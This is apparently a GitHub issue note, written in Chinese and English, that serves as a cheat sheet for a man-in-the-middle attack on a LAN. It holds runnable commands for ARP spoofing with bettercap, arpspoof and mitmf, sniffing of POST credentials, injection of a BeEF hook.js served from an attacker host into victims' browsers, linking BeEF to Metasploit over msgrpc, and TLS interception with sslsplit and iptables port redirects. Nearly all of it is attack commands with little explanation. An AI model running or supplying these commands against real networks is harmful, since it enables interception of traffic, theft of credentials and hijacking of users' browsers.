Open mylamour opened 6 years ago
bettercap -I enp0s31f6 -T 172.16.10.232 -S ARP -X --sniffer --proxy -P POST --log-timestamp --log /root/Desktop/232 --silent
beef
vim config.yaml vim extensions/metasploit/config.yaml
vim config.yaml
vim extensions/metasploit/config.yaml
metasploit
load msgrpc ServerHost=172.16.10.222 Pass=abc123 SSL=y 如果不加ssl,需要确定在beef的配置文件中将ssl_vertify设置为false即可
load msgrpc ServerHost=172.16.10.222 Pass=abc123 SSL=y
如果不加ssl,需要确定在beef的配置文件中将ssl_vertify设置为false即可
start beef
Inject js
bettercap -I enp0s31f6 -T 172.16.10.246 -S ARP -X --sniffer --proxy -P POST --proxy --proxy-module injectjs --js-url http://172.16.10.222:3000/hook.js 查看帮助 bettercap --proxy-module injectjs -h
bettercap -I enp0s31f6 -T 172.16.10.246 -S ARP -X --sniffer --proxy -P POST --proxy --proxy-module injectjs --js-url http://172.16.10.222:3000/hook.js
查看帮助 bettercap --proxy-module injectjs -h
bettercap --proxy-module injectjs -h
我使用了下mitmf,感觉没有bettercap好用,mitmf是这样用的python mitmf.py -i enp0s31f6 --arp --spoof --target 172.16.10.246 --gateway 172.16.10.1 --hsts --inject --js-url http://172.16.10.222:3000/hook.js 端口号占用需要修改config目录下的mitmf.conf, 以上两个都需要root权限
我使用了下mitmf,感觉没有bettercap好用,mitmf是这样用的python mitmf.py -i enp0s31f6 --arp --spoof --target 172.16.10.246 --gateway 172.16.10.1 --hsts --inject --js-url http://172.16.10.222:3000/hook.js
python mitmf.py -i enp0s31f6 --arp --spoof --target 172.16.10.246 --gateway 172.16.10.1 --hsts --inject --js-url http://172.16.10.222:3000/hook.js
端口号占用需要修改config目录下的mitmf.conf, 以上两个都需要root权限
apt-get install libssl-dev libevent-dev
openssl genrsa -out ca.key 2048 openssl req -new -x509 -days 1096 -key ca.key -out ca.crt
echo 1 > /proc/sys/net/ipv4/ip_forward iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080 iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443 iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443 iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443 iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443 iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443
arpspoof -i eth0 -t target -r gateway sslsplit -D -l connect.log -j ./test -S ./log -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080 # 端口是你设置的转发端口
sniffer (ICMP/ARP)
hook.js and msfconsole
beef
metasploit
start beef
Inject js
https中间人
apt-get install libssl-dev libevent-dev
资源